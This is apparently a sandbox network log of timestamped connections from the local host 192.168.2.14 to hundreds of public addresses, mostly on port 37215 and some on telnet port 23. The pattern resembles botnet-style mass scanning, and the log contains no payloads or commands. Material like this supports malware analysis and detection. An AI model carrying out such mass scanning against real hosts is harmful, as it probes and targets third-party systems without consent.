Nov 3, 2024 15:33:04.921828985 CET	4847	37215	192.168.2.14	197.101.46.184
Nov 3, 2024 15:33:04.921833992 CET	4847	37215	192.168.2.14	197.248.58.227
Nov 3, 2024 15:33:04.921834946 CET	4847	37215	192.168.2.14	41.232.228.78
Nov 3, 2024 15:33:04.921834946 CET	4847	37215	192.168.2.14	41.0.164.200
Nov 3, 2024 15:33:04.921842098 CET	4847	37215	192.168.2.14	197.15.49.163
Nov 3, 2024 15:33:04.921854973 CET	4847	37215	192.168.2.14	41.220.57.135
Nov 3, 2024 15:33:04.921864033 CET	52072	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:04.921869993 CET	4847	37215	192.168.2.14	156.172.66.240
Nov 3, 2024 15:33:04.921878099 CET	4847	37215	192.168.2.14	156.5.88.178
Nov 3, 2024 15:33:04.921878099 CET	4847	37215	192.168.2.14	197.172.4.231
Nov 3, 2024 15:33:04.921878099 CET	4847	37215	192.168.2.14	197.157.136.241
Nov 3, 2024 15:33:04.921886921 CET	4847	37215	192.168.2.14	156.191.244.91
Nov 3, 2024 15:33:04.921897888 CET	4847	37215	192.168.2.14	156.12.2.224
Nov 3, 2024 15:33:04.921900034 CET	4847	37215	192.168.2.14	156.198.220.36
Nov 3, 2024 15:33:04.921897888 CET	4847	37215	192.168.2.14	156.136.215.98
Nov 3, 2024 15:33:04.921900034 CET	4847	37215	192.168.2.14	156.226.153.32
Nov 3, 2024 15:33:04.921897888 CET	4847	37215	192.168.2.14	197.211.49.210
Nov 3, 2024 15:33:04.921900034 CET	4847	37215	192.168.2.14	41.130.46.78
Nov 3, 2024 15:33:04.921906948 CET	4847	37215	192.168.2.14	156.30.235.187
Nov 3, 2024 15:33:04.921906948 CET	4847	37215	192.168.2.14	156.58.146.174
Nov 3, 2024 15:33:04.921916962 CET	4847	37215	192.168.2.14	197.5.24.43
Nov 3, 2024 15:33:04.921916962 CET	4847	37215	192.168.2.14	197.12.107.245
Nov 3, 2024 15:33:04.921917915 CET	4847	37215	192.168.2.14	41.102.69.217
Nov 3, 2024 15:33:04.921926022 CET	4847	37215	192.168.2.14	156.21.83.209
Nov 3, 2024 15:33:04.921933889 CET	4847	37215	192.168.2.14	156.205.32.225
Nov 3, 2024 15:33:04.921940088 CET	4847	37215	192.168.2.14	156.216.233.160
Nov 3, 2024 15:33:04.921940088 CET	4847	37215	192.168.2.14	197.15.220.101
Nov 3, 2024 15:33:04.921940088 CET	4847	37215	192.168.2.14	41.121.49.23
Nov 3, 2024 15:33:04.921941996 CET	4847	37215	192.168.2.14	156.75.68.213
Nov 3, 2024 15:33:04.921972990 CET	36622	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:04.921972990 CET	4847	37215	192.168.2.14	197.204.223.186
Nov 3, 2024 15:33:04.921973944 CET	4847	37215	192.168.2.14	156.156.114.81
Nov 3, 2024 15:33:04.921973944 CET	4847	37215	192.168.2.14	41.202.210.14
Nov 3, 2024 15:33:04.921973944 CET	4847	37215	192.168.2.14	156.57.68.154
Nov 3, 2024 15:33:04.921978951 CET	4847	37215	192.168.2.14	41.210.42.100
Nov 3, 2024 15:33:04.921979904 CET	4847	37215	192.168.2.14	156.34.212.10
Nov 3, 2024 15:33:04.921979904 CET	4847	37215	192.168.2.14	197.189.112.247
Nov 3, 2024 15:33:04.921983004 CET	4847	37215	192.168.2.14	41.134.149.121
Nov 3, 2024 15:33:04.921987057 CET	4847	37215	192.168.2.14	41.52.162.125
Nov 3, 2024 15:33:04.921992064 CET	4847	37215	192.168.2.14	197.72.240.66
Nov 3, 2024 15:33:04.921998024 CET	4847	37215	192.168.2.14	41.40.6.241
Nov 3, 2024 15:33:04.921998024 CET	4847	37215	192.168.2.14	197.72.133.79
Nov 3, 2024 15:33:04.921998024 CET	4847	37215	192.168.2.14	156.252.201.171
Nov 3, 2024 15:33:04.921999931 CET	4847	37215	192.168.2.14	41.176.221.219
Nov 3, 2024 15:33:04.921999931 CET	4847	37215	192.168.2.14	197.205.41.0
Nov 3, 2024 15:33:04.922000885 CET	4847	37215	192.168.2.14	156.250.91.91
Nov 3, 2024 15:33:04.922000885 CET	4847	37215	192.168.2.14	197.46.239.148
Nov 3, 2024 15:33:04.922003031 CET	4847	37215	192.168.2.14	41.81.128.174
Nov 3, 2024 15:33:04.922004938 CET	4847	37215	192.168.2.14	156.156.80.155
Nov 3, 2024 15:33:04.922004938 CET	4847	37215	192.168.2.14	156.191.188.37
Nov 3, 2024 15:33:04.922004938 CET	4847	37215	192.168.2.14	197.52.96.75
Nov 3, 2024 15:33:04.922010899 CET	4847	37215	192.168.2.14	156.247.238.233
Nov 3, 2024 15:33:04.922020912 CET	4847	37215	192.168.2.14	156.173.126.146
Nov 3, 2024 15:33:04.922028065 CET	4847	37215	192.168.2.14	41.150.5.120
Nov 3, 2024 15:33:04.922033072 CET	4847	37215	192.168.2.14	41.219.219.23
Nov 3, 2024 15:33:04.922033072 CET	4847	37215	192.168.2.14	41.88.49.228
Nov 3, 2024 15:33:04.922034979 CET	4847	37215	192.168.2.14	41.102.243.74
Nov 3, 2024 15:33:04.922036886 CET	4847	37215	192.168.2.14	41.143.29.254
Nov 3, 2024 15:33:04.922039032 CET	4847	37215	192.168.2.14	197.145.211.54
Nov 3, 2024 15:33:04.922039032 CET	4847	37215	192.168.2.14	41.68.215.50
Nov 3, 2024 15:33:04.922040939 CET	4847	37215	192.168.2.14	197.191.196.32
Nov 3, 2024 15:33:04.922043085 CET	4847	37215	192.168.2.14	41.226.77.90
Nov 3, 2024 15:33:04.922049999 CET	4847	37215	192.168.2.14	156.195.149.130
Nov 3, 2024 15:33:04.922066927 CET	4847	37215	192.168.2.14	197.34.65.170
Nov 3, 2024 15:33:04.922068119 CET	4847	37215	192.168.2.14	156.116.151.255
Nov 3, 2024 15:33:04.922068119 CET	4847	37215	192.168.2.14	197.192.38.220
Nov 3, 2024 15:33:04.922068119 CET	4847	37215	192.168.2.14	41.11.80.28
Nov 3, 2024 15:33:04.922077894 CET	4847	37215	192.168.2.14	41.242.241.82
Nov 3, 2024 15:33:04.922079086 CET	4847	37215	192.168.2.14	41.157.15.242
Nov 3, 2024 15:33:04.922079086 CET	4847	37215	192.168.2.14	156.119.121.23
Nov 3, 2024 15:33:04.922079086 CET	4847	37215	192.168.2.14	156.124.170.31
Nov 3, 2024 15:33:04.922079086 CET	4847	37215	192.168.2.14	41.14.202.144
Nov 3, 2024 15:33:04.922086954 CET	4847	37215	192.168.2.14	41.208.151.38
Nov 3, 2024 15:33:04.922097921 CET	4847	37215	192.168.2.14	41.90.202.248
Nov 3, 2024 15:33:04.922102928 CET	4847	37215	192.168.2.14	156.244.16.240
Nov 3, 2024 15:33:04.922102928 CET	4847	37215	192.168.2.14	156.175.216.250
Nov 3, 2024 15:33:04.922106028 CET	4847	37215	192.168.2.14	197.11.181.240
Nov 3, 2024 15:33:04.922110081 CET	4847	37215	192.168.2.14	197.118.242.113
Nov 3, 2024 15:33:04.922110081 CET	4847	37215	192.168.2.14	41.80.189.199
Nov 3, 2024 15:33:04.922110081 CET	4847	37215	192.168.2.14	41.153.208.75
Nov 3, 2024 15:33:04.922110081 CET	4847	37215	192.168.2.14	41.198.95.146
Nov 3, 2024 15:33:04.922112942 CET	4847	37215	192.168.2.14	156.174.195.186
Nov 3, 2024 15:33:04.922113895 CET	4847	37215	192.168.2.14	156.96.251.104
Nov 3, 2024 15:33:04.922118902 CET	4847	37215	192.168.2.14	197.245.126.233
Nov 3, 2024 15:33:04.922135115 CET	4847	37215	192.168.2.14	156.38.89.2
Nov 3, 2024 15:33:04.922138929 CET	4847	37215	192.168.2.14	41.25.159.67
Nov 3, 2024 15:33:04.922138929 CET	4847	37215	192.168.2.14	41.111.165.252
Nov 3, 2024 15:33:04.922138929 CET	4847	37215	192.168.2.14	197.27.103.210
Nov 3, 2024 15:33:04.922139883 CET	4847	37215	192.168.2.14	41.225.192.155
Nov 3, 2024 15:33:04.922143936 CET	4847	37215	192.168.2.14	156.71.107.164
Nov 3, 2024 15:33:04.922144890 CET	4847	37215	192.168.2.14	197.206.86.11
Nov 3, 2024 15:33:04.922154903 CET	4847	37215	192.168.2.14	197.57.220.244
Nov 3, 2024 15:33:04.922154903 CET	4847	37215	192.168.2.14	197.238.245.101
Nov 3, 2024 15:33:04.922156096 CET	4847	37215	192.168.2.14	41.148.229.40
Nov 3, 2024 15:33:04.922168016 CET	4847	37215	192.168.2.14	156.213.20.235
Nov 3, 2024 15:33:04.922175884 CET	4847	37215	192.168.2.14	41.29.200.54
Nov 3, 2024 15:33:04.922175884 CET	4847	37215	192.168.2.14	41.172.9.83
Nov 3, 2024 15:33:04.922175884 CET	4847	37215	192.168.2.14	41.169.129.222
Nov 3, 2024 15:33:04.922175884 CET	4847	37215	192.168.2.14	156.138.125.167
Nov 3, 2024 15:33:04.922182083 CET	4847	37215	192.168.2.14	41.155.170.171
Nov 3, 2024 15:33:04.922183037 CET	4847	37215	192.168.2.14	197.168.225.75
Nov 3, 2024 15:33:04.922185898 CET	4847	37215	192.168.2.14	156.83.219.194
Nov 3, 2024 15:33:04.922197104 CET	4847	37215	192.168.2.14	156.57.46.115
Nov 3, 2024 15:33:04.922204018 CET	4847	37215	192.168.2.14	197.199.96.106
Nov 3, 2024 15:33:04.922207117 CET	4847	37215	192.168.2.14	156.111.141.0
Nov 3, 2024 15:33:04.922208071 CET	4847	37215	192.168.2.14	156.2.125.224
Nov 3, 2024 15:33:04.922208071 CET	4847	37215	192.168.2.14	41.30.22.60
Nov 3, 2024 15:33:04.922211885 CET	4847	37215	192.168.2.14	156.125.95.197
Nov 3, 2024 15:33:04.922224045 CET	4847	37215	192.168.2.14	41.45.209.41
Nov 3, 2024 15:33:04.922230005 CET	4847	37215	192.168.2.14	41.111.155.164
Nov 3, 2024 15:33:04.922235966 CET	4847	37215	192.168.2.14	156.51.254.224
Nov 3, 2024 15:33:04.922235966 CET	4847	37215	192.168.2.14	156.205.29.65
Nov 3, 2024 15:33:04.922235966 CET	4847	37215	192.168.2.14	41.7.50.207
Nov 3, 2024 15:33:04.922236919 CET	4847	37215	192.168.2.14	41.226.233.243
Nov 3, 2024 15:33:04.922236919 CET	4847	37215	192.168.2.14	156.205.166.217
Nov 3, 2024 15:33:04.922240019 CET	4847	37215	192.168.2.14	156.150.101.134
Nov 3, 2024 15:33:04.922251940 CET	4847	37215	192.168.2.14	156.187.204.50
Nov 3, 2024 15:33:04.922254086 CET	4847	37215	192.168.2.14	156.75.131.80
Nov 3, 2024 15:33:04.922255993 CET	4847	37215	192.168.2.14	156.121.205.170
Nov 3, 2024 15:33:04.922266006 CET	4847	37215	192.168.2.14	156.7.91.254
Nov 3, 2024 15:33:04.922266006 CET	4847	37215	192.168.2.14	41.247.7.56
Nov 3, 2024 15:33:04.922271967 CET	4847	37215	192.168.2.14	156.222.234.243
Nov 3, 2024 15:33:04.922282934 CET	4847	37215	192.168.2.14	156.180.162.189
Nov 3, 2024 15:33:04.922286987 CET	4847	37215	192.168.2.14	41.233.220.26
Nov 3, 2024 15:33:04.922288895 CET	4847	37215	192.168.2.14	156.110.26.183
Nov 3, 2024 15:33:04.922286987 CET	4847	37215	192.168.2.14	197.130.27.26
Nov 3, 2024 15:33:04.922285080 CET	4847	37215	192.168.2.14	41.137.203.63
Nov 3, 2024 15:33:04.922286987 CET	4847	37215	192.168.2.14	156.249.62.176
Nov 3, 2024 15:33:04.922293901 CET	4847	37215	192.168.2.14	41.83.170.124
Nov 3, 2024 15:33:04.922286987 CET	4847	37215	192.168.2.14	41.133.119.82
Nov 3, 2024 15:33:04.922282934 CET	4847	37215	192.168.2.14	197.6.159.217
Nov 3, 2024 15:33:04.922301054 CET	4847	37215	192.168.2.14	41.67.206.222
Nov 3, 2024 15:33:04.922302961 CET	4847	37215	192.168.2.14	197.109.28.79
Nov 3, 2024 15:33:04.922312975 CET	4847	37215	192.168.2.14	41.7.12.39
Nov 3, 2024 15:33:04.922312975 CET	4847	37215	192.168.2.14	156.93.136.34
Nov 3, 2024 15:33:04.922312975 CET	4847	37215	192.168.2.14	156.254.117.208
Nov 3, 2024 15:33:04.922317028 CET	4847	37215	192.168.2.14	197.126.230.80
Nov 3, 2024 15:33:04.922326088 CET	4847	37215	192.168.2.14	197.175.121.81
Nov 3, 2024 15:33:04.922327042 CET	4847	37215	192.168.2.14	156.55.51.36
Nov 3, 2024 15:33:04.922338009 CET	4847	37215	192.168.2.14	197.157.13.81
Nov 3, 2024 15:33:04.922346115 CET	4847	37215	192.168.2.14	41.136.46.71
Nov 3, 2024 15:33:04.922346115 CET	4847	37215	192.168.2.14	156.184.246.5
Nov 3, 2024 15:33:04.922346115 CET	4847	37215	192.168.2.14	41.167.207.1
Nov 3, 2024 15:33:04.922348022 CET	4847	37215	192.168.2.14	156.243.55.174
Nov 3, 2024 15:33:04.922353983 CET	4847	37215	192.168.2.14	197.93.161.209
Nov 3, 2024 15:33:04.922365904 CET	4847	37215	192.168.2.14	156.242.161.117
Nov 3, 2024 15:33:04.922368050 CET	4847	37215	192.168.2.14	156.247.66.237
Nov 3, 2024 15:33:04.922372103 CET	4847	37215	192.168.2.14	197.251.158.253
Nov 3, 2024 15:33:04.922374964 CET	4847	37215	192.168.2.14	197.27.76.56
Nov 3, 2024 15:33:04.922374964 CET	4847	37215	192.168.2.14	197.137.196.3
Nov 3, 2024 15:33:04.922378063 CET	4847	37215	192.168.2.14	41.100.187.245
Nov 3, 2024 15:33:04.922386885 CET	4847	37215	192.168.2.14	41.233.196.112
Nov 3, 2024 15:33:04.922386885 CET	4847	37215	192.168.2.14	156.243.109.143
Nov 3, 2024 15:33:04.922389984 CET	4847	37215	192.168.2.14	197.154.120.168
Nov 3, 2024 15:33:04.922389984 CET	4847	37215	192.168.2.14	197.201.203.137
Nov 3, 2024 15:33:04.922394991 CET	4847	37215	192.168.2.14	41.202.69.139
Nov 3, 2024 15:33:04.922396898 CET	4847	37215	192.168.2.14	197.123.156.27
Nov 3, 2024 15:33:04.922396898 CET	4847	37215	192.168.2.14	41.163.165.253
Nov 3, 2024 15:33:04.922403097 CET	4847	37215	192.168.2.14	156.133.241.240
Nov 3, 2024 15:33:04.922404051 CET	4847	37215	192.168.2.14	41.83.209.207
Nov 3, 2024 15:33:04.922410965 CET	4847	37215	192.168.2.14	156.74.34.121
Nov 3, 2024 15:33:04.922419071 CET	4847	37215	192.168.2.14	156.76.33.181
Nov 3, 2024 15:33:04.922419071 CET	4847	37215	192.168.2.14	197.238.52.63
Nov 3, 2024 15:33:04.922435999 CET	4847	37215	192.168.2.14	41.186.120.63
Nov 3, 2024 15:33:04.922437906 CET	4847	37215	192.168.2.14	41.142.77.108
Nov 3, 2024 15:33:04.922437906 CET	4847	37215	192.168.2.14	41.234.121.45
Nov 3, 2024 15:33:04.922437906 CET	4847	37215	192.168.2.14	41.135.62.158
Nov 3, 2024 15:33:04.922437906 CET	4847	37215	192.168.2.14	156.248.131.220
Nov 3, 2024 15:33:04.922442913 CET	4847	37215	192.168.2.14	156.245.138.190
Nov 3, 2024 15:33:04.922463894 CET	4847	37215	192.168.2.14	197.203.90.117
Nov 3, 2024 15:33:04.922472954 CET	4847	37215	192.168.2.14	197.40.96.115
Nov 3, 2024 15:33:04.922472954 CET	4847	37215	192.168.2.14	197.200.130.105
Nov 3, 2024 15:33:04.922481060 CET	4847	37215	192.168.2.14	197.159.107.81
Nov 3, 2024 15:33:04.922492981 CET	4847	37215	192.168.2.14	41.84.43.94
Nov 3, 2024 15:33:04.922492981 CET	4847	37215	192.168.2.14	197.51.13.121
Nov 3, 2024 15:33:04.922492981 CET	4847	37215	192.168.2.14	156.127.77.220
Nov 3, 2024 15:33:04.922502041 CET	4847	37215	192.168.2.14	156.177.19.145
Nov 3, 2024 15:33:04.922502041 CET	4847	37215	192.168.2.14	197.63.164.176
Nov 3, 2024 15:33:04.922502995 CET	4847	37215	192.168.2.14	197.102.165.123
Nov 3, 2024 15:33:04.922504902 CET	4847	37215	192.168.2.14	41.142.18.240
Nov 3, 2024 15:33:04.922504902 CET	4847	37215	192.168.2.14	156.81.221.203
Nov 3, 2024 15:33:04.922514915 CET	4847	37215	192.168.2.14	197.227.236.24
Nov 3, 2024 15:33:04.922521114 CET	4847	37215	192.168.2.14	41.43.15.250
Nov 3, 2024 15:33:04.922523975 CET	4847	37215	192.168.2.14	156.237.10.192
Nov 3, 2024 15:33:04.922525883 CET	4847	37215	192.168.2.14	41.134.6.72
Nov 3, 2024 15:33:04.922532082 CET	4847	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:04.922532082 CET	4847	37215	192.168.2.14	41.171.116.95
Nov 3, 2024 15:33:04.922532082 CET	4847	37215	192.168.2.14	41.21.175.24
Nov 3, 2024 15:33:04.922540903 CET	4847	37215	192.168.2.14	156.112.145.82
Nov 3, 2024 15:33:04.922544003 CET	4847	37215	192.168.2.14	41.112.185.111
Nov 3, 2024 15:33:04.922544003 CET	4847	37215	192.168.2.14	197.234.214.49
Nov 3, 2024 15:33:04.922547102 CET	4847	37215	192.168.2.14	197.130.244.86
Nov 3, 2024 15:33:04.922547102 CET	4847	37215	192.168.2.14	197.22.184.110
Nov 3, 2024 15:33:04.922553062 CET	4847	37215	192.168.2.14	156.156.198.1
Nov 3, 2024 15:33:04.922555923 CET	4847	37215	192.168.2.14	156.112.168.130
Nov 3, 2024 15:33:04.922560930 CET	4847	37215	192.168.2.14	156.248.103.11
Nov 3, 2024 15:33:04.922561884 CET	4847	37215	192.168.2.14	197.143.41.174
Nov 3, 2024 15:33:04.922561884 CET	4847	37215	192.168.2.14	156.237.249.55
Nov 3, 2024 15:33:04.922588110 CET	4847	37215	192.168.2.14	156.148.59.106
Nov 3, 2024 15:33:04.922588110 CET	4847	37215	192.168.2.14	197.59.205.168
Nov 3, 2024 15:33:04.922588110 CET	4847	37215	192.168.2.14	41.164.39.177
Nov 3, 2024 15:33:04.922588110 CET	4847	37215	192.168.2.14	197.225.74.41
Nov 3, 2024 15:33:04.922590017 CET	4847	37215	192.168.2.14	156.34.58.141
Nov 3, 2024 15:33:04.922593117 CET	4847	37215	192.168.2.14	41.52.235.215
Nov 3, 2024 15:33:04.922593117 CET	4847	37215	192.168.2.14	156.207.182.238
Nov 3, 2024 15:33:04.922599077 CET	4847	37215	192.168.2.14	41.221.242.123
Nov 3, 2024 15:33:04.922599077 CET	4847	37215	192.168.2.14	197.52.11.215
Nov 3, 2024 15:33:04.922612906 CET	4847	37215	192.168.2.14	156.146.120.35
Nov 3, 2024 15:33:04.922631979 CET	4847	37215	192.168.2.14	197.28.118.214
Nov 3, 2024 15:33:04.922631979 CET	4847	37215	192.168.2.14	197.240.196.242
Nov 3, 2024 15:33:04.922633886 CET	4847	37215	192.168.2.14	156.125.158.150
Nov 3, 2024 15:33:04.922636986 CET	4847	37215	192.168.2.14	197.198.255.9
Nov 3, 2024 15:33:04.922645092 CET	4847	37215	192.168.2.14	41.106.58.255
Nov 3, 2024 15:33:04.922646046 CET	4847	37215	192.168.2.14	197.6.107.26
Nov 3, 2024 15:33:04.922646046 CET	4847	37215	192.168.2.14	197.224.254.94
Nov 3, 2024 15:33:04.922646999 CET	4847	37215	192.168.2.14	197.70.138.46
Nov 3, 2024 15:33:04.922647953 CET	4847	37215	192.168.2.14	197.149.212.176
Nov 3, 2024 15:33:04.922648907 CET	4847	37215	192.168.2.14	197.120.126.176
Nov 3, 2024 15:33:04.922648907 CET	4847	37215	192.168.2.14	197.134.118.237
Nov 3, 2024 15:33:04.922650099 CET	4847	37215	192.168.2.14	197.208.120.242
Nov 3, 2024 15:33:04.922652960 CET	4847	37215	192.168.2.14	156.65.76.20
Nov 3, 2024 15:33:04.922652960 CET	4847	37215	192.168.2.14	41.161.120.254
Nov 3, 2024 15:33:04.922652960 CET	4847	37215	192.168.2.14	197.137.193.125
Nov 3, 2024 15:33:04.922662973 CET	4847	37215	192.168.2.14	41.140.216.89
Nov 3, 2024 15:33:04.922663927 CET	4847	37215	192.168.2.14	41.34.229.240
Nov 3, 2024 15:33:04.922663927 CET	4847	37215	192.168.2.14	156.79.95.233
Nov 3, 2024 15:33:04.922662973 CET	4847	37215	192.168.2.14	197.179.240.18
Nov 3, 2024 15:33:04.922663927 CET	4847	37215	192.168.2.14	41.158.176.190
Nov 3, 2024 15:33:04.922666073 CET	4847	37215	192.168.2.14	156.234.152.221
Nov 3, 2024 15:33:04.922697067 CET	4847	37215	192.168.2.14	41.186.225.159
Nov 3, 2024 15:33:04.922700882 CET	4847	37215	192.168.2.14	197.222.1.103
Nov 3, 2024 15:33:04.922712088 CET	4847	37215	192.168.2.14	156.200.11.85
Nov 3, 2024 15:33:04.922717094 CET	4847	37215	192.168.2.14	197.160.225.237
Nov 3, 2024 15:33:04.922717094 CET	4847	37215	192.168.2.14	156.134.147.94
Nov 3, 2024 15:33:04.922718048 CET	4847	37215	192.168.2.14	41.64.56.115
Nov 3, 2024 15:33:04.922732115 CET	4847	37215	192.168.2.14	41.104.38.165
Nov 3, 2024 15:33:04.922735929 CET	4847	37215	192.168.2.14	41.20.233.233
Nov 3, 2024 15:33:04.922735929 CET	4847	37215	192.168.2.14	197.94.123.1
Nov 3, 2024 15:33:04.922739983 CET	4847	37215	192.168.2.14	197.2.154.72
Nov 3, 2024 15:33:04.922740936 CET	4847	37215	192.168.2.14	41.193.177.196
Nov 3, 2024 15:33:04.922740936 CET	4847	37215	192.168.2.14	197.113.188.122
Nov 3, 2024 15:33:04.922740936 CET	4847	37215	192.168.2.14	41.18.83.113
Nov 3, 2024 15:33:04.922740936 CET	4847	37215	192.168.2.14	41.145.140.22
Nov 3, 2024 15:33:04.922743082 CET	4847	37215	192.168.2.14	197.219.209.33
Nov 3, 2024 15:33:04.922749043 CET	4847	37215	192.168.2.14	197.28.250.189
Nov 3, 2024 15:33:04.922753096 CET	4847	37215	192.168.2.14	197.215.80.107
Nov 3, 2024 15:33:04.922760963 CET	4847	37215	192.168.2.14	41.141.198.215
Nov 3, 2024 15:33:04.922761917 CET	4847	37215	192.168.2.14	156.166.7.34
Nov 3, 2024 15:33:04.922764063 CET	4847	37215	192.168.2.14	197.56.182.23
Nov 3, 2024 15:33:04.922784090 CET	4847	37215	192.168.2.14	156.188.132.253
Nov 3, 2024 15:33:04.922800064 CET	23	35428	209.129.129.97	192.168.2.14
Nov 3, 2024 15:33:04.922856092 CET	35428	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:04.922858000 CET	42910	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:04.923932076 CET	33698	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:04.924201012 CET	23	42490	95.7.203.251	192.168.2.14
Nov 3, 2024 15:33:04.924242973 CET	42490	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:04.924531937 CET	51840	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:04.925312996 CET	23	36206	212.140.253.155	192.168.2.14
Nov 3, 2024 15:33:04.925354958 CET	36206	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:04.925776958 CET	23	58440	98.111.58.225	192.168.2.14
Nov 3, 2024 15:33:04.925853968 CET	58440	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:04.925915003 CET	60004	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:04.926055908 CET	23	42326	180.89.225.190	192.168.2.14
Nov 3, 2024 15:33:04.926424026 CET	37215	4847	156.40.3.30	192.168.2.14
Nov 3, 2024 15:33:04.926434994 CET	37215	4847	156.248.28.189	192.168.2.14
Nov 3, 2024 15:33:04.926445961 CET	37215	4847	197.127.50.139	192.168.2.14
Nov 3, 2024 15:33:04.926476002 CET	4847	37215	192.168.2.14	156.40.3.30
Nov 3, 2024 15:33:04.926476002 CET	4847	37215	192.168.2.14	156.248.28.189
Nov 3, 2024 15:33:04.926490068 CET	4847	37215	192.168.2.14	197.127.50.139
Nov 3, 2024 15:33:04.926508904 CET	42422	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:04.927053928 CET	37215	4847	197.142.215.16	192.168.2.14
Nov 3, 2024 15:33:04.927064896 CET	37215	4847	41.45.199.175	192.168.2.14
Nov 3, 2024 15:33:04.927076101 CET	37215	4847	197.137.164.123	192.168.2.14
Nov 3, 2024 15:33:04.927097082 CET	4847	37215	192.168.2.14	197.142.215.16
Nov 3, 2024 15:33:04.927117109 CET	37215	4847	156.84.192.114	192.168.2.14
Nov 3, 2024 15:33:04.927128077 CET	4847	37215	192.168.2.14	41.45.199.175
Nov 3, 2024 15:33:04.927139997 CET	4847	37215	192.168.2.14	197.137.164.123
Nov 3, 2024 15:33:04.927140951 CET	37215	4847	197.65.91.60	192.168.2.14
Nov 3, 2024 15:33:04.927151918 CET	4847	37215	192.168.2.14	156.84.192.114
Nov 3, 2024 15:33:04.927155018 CET	23	44440	173.42.154.129	192.168.2.14
Nov 3, 2024 15:33:04.927165985 CET	37215	4847	41.134.34.152	192.168.2.14
Nov 3, 2024 15:33:04.927177906 CET	37215	4847	156.176.82.138	192.168.2.14
Nov 3, 2024 15:33:04.927198887 CET	37215	4847	197.109.102.223	192.168.2.14
Nov 3, 2024 15:33:04.927202940 CET	4847	37215	192.168.2.14	197.65.91.60
Nov 3, 2024 15:33:04.927212954 CET	4847	37215	192.168.2.14	41.134.34.152
Nov 3, 2024 15:33:04.927213907 CET	4847	37215	192.168.2.14	156.176.82.138
Nov 3, 2024 15:33:04.927221060 CET	37215	4847	197.85.225.137	192.168.2.14
Nov 3, 2024 15:33:04.927232027 CET	4847	37215	192.168.2.14	197.109.102.223
Nov 3, 2024 15:33:04.927233934 CET	37215	4847	41.249.92.183	192.168.2.14
Nov 3, 2024 15:33:04.927247047 CET	23	33708	146.184.36.238	192.168.2.14
Nov 3, 2024 15:33:04.927258015 CET	37215	4847	41.135.132.93	192.168.2.14
Nov 3, 2024 15:33:04.927270889 CET	37215	4847	41.141.230.147	192.168.2.14
Nov 3, 2024 15:33:04.927273035 CET	4847	37215	192.168.2.14	197.85.225.137
Nov 3, 2024 15:33:04.927273035 CET	4847	37215	192.168.2.14	41.249.92.183
Nov 3, 2024 15:33:04.927282095 CET	37215	4847	156.54.126.119	192.168.2.14
Nov 3, 2024 15:33:04.927294016 CET	37215	4847	156.165.72.148	192.168.2.14
Nov 3, 2024 15:33:04.927306890 CET	37215	4847	197.72.3.92	192.168.2.14
Nov 3, 2024 15:33:04.927318096 CET	4847	37215	192.168.2.14	41.141.230.147
Nov 3, 2024 15:33:04.927320004 CET	4847	37215	192.168.2.14	41.135.132.93
Nov 3, 2024 15:33:04.927323103 CET	4847	37215	192.168.2.14	156.54.126.119
Nov 3, 2024 15:33:04.927324057 CET	37215	4847	197.40.123.34	192.168.2.14
Nov 3, 2024 15:33:04.927333117 CET	4847	37215	192.168.2.14	156.165.72.148
Nov 3, 2024 15:33:04.927336931 CET	37215	4847	156.190.186.152	192.168.2.14
Nov 3, 2024 15:33:04.927340031 CET	4847	37215	192.168.2.14	197.72.3.92
Nov 3, 2024 15:33:04.927350998 CET	37215	4847	41.38.234.247	192.168.2.14
Nov 3, 2024 15:33:04.927366018 CET	23	52588	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:04.927378893 CET	37215	4847	41.164.165.123	192.168.2.14
Nov 3, 2024 15:33:04.927387953 CET	4847	37215	192.168.2.14	197.40.123.34
Nov 3, 2024 15:33:04.927392006 CET	37215	4847	41.77.153.105	192.168.2.14
Nov 3, 2024 15:33:04.927392960 CET	4847	37215	192.168.2.14	41.38.234.247
Nov 3, 2024 15:33:04.927397966 CET	4847	37215	192.168.2.14	156.190.186.152
Nov 3, 2024 15:33:04.927403927 CET	37215	4847	41.100.5.223	192.168.2.14
Nov 3, 2024 15:33:04.927412987 CET	4847	37215	192.168.2.14	41.164.165.123
Nov 3, 2024 15:33:04.927414894 CET	37215	4847	197.21.13.164	192.168.2.14
Nov 3, 2024 15:33:04.927426100 CET	37215	4847	156.152.90.251	192.168.2.14
Nov 3, 2024 15:33:04.927432060 CET	4847	37215	192.168.2.14	41.77.153.105
Nov 3, 2024 15:33:04.927433014 CET	4847	37215	192.168.2.14	41.100.5.223
Nov 3, 2024 15:33:04.927438974 CET	23	42332	200.122.147.32	192.168.2.14
Nov 3, 2024 15:33:04.927447081 CET	4847	37215	192.168.2.14	197.21.13.164
Nov 3, 2024 15:33:04.927453995 CET	37215	4847	197.170.13.51	192.168.2.14
Nov 3, 2024 15:33:04.927464962 CET	4847	37215	192.168.2.14	156.152.90.251
Nov 3, 2024 15:33:04.927465916 CET	37215	4847	41.2.41.57	192.168.2.14
Nov 3, 2024 15:33:04.927479982 CET	37215	4847	41.5.108.195	192.168.2.14
Nov 3, 2024 15:33:04.927491903 CET	37215	4847	156.89.208.147	192.168.2.14
Nov 3, 2024 15:33:04.927505016 CET	4847	37215	192.168.2.14	197.170.13.51
Nov 3, 2024 15:33:04.927505970 CET	48294	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:04.927511930 CET	37215	4847	41.43.201.40	192.168.2.14
Nov 3, 2024 15:33:04.927516937 CET	4847	37215	192.168.2.14	41.2.41.57
Nov 3, 2024 15:33:04.927541018 CET	23	44450	77.222.124.20	192.168.2.14
Nov 3, 2024 15:33:04.927542925 CET	4847	37215	192.168.2.14	156.89.208.147
Nov 3, 2024 15:33:04.927548885 CET	4847	37215	192.168.2.14	41.5.108.195
Nov 3, 2024 15:33:04.927551985 CET	23	50190	104.59.145.38	192.168.2.14
Nov 3, 2024 15:33:04.927552938 CET	4847	37215	192.168.2.14	41.43.201.40
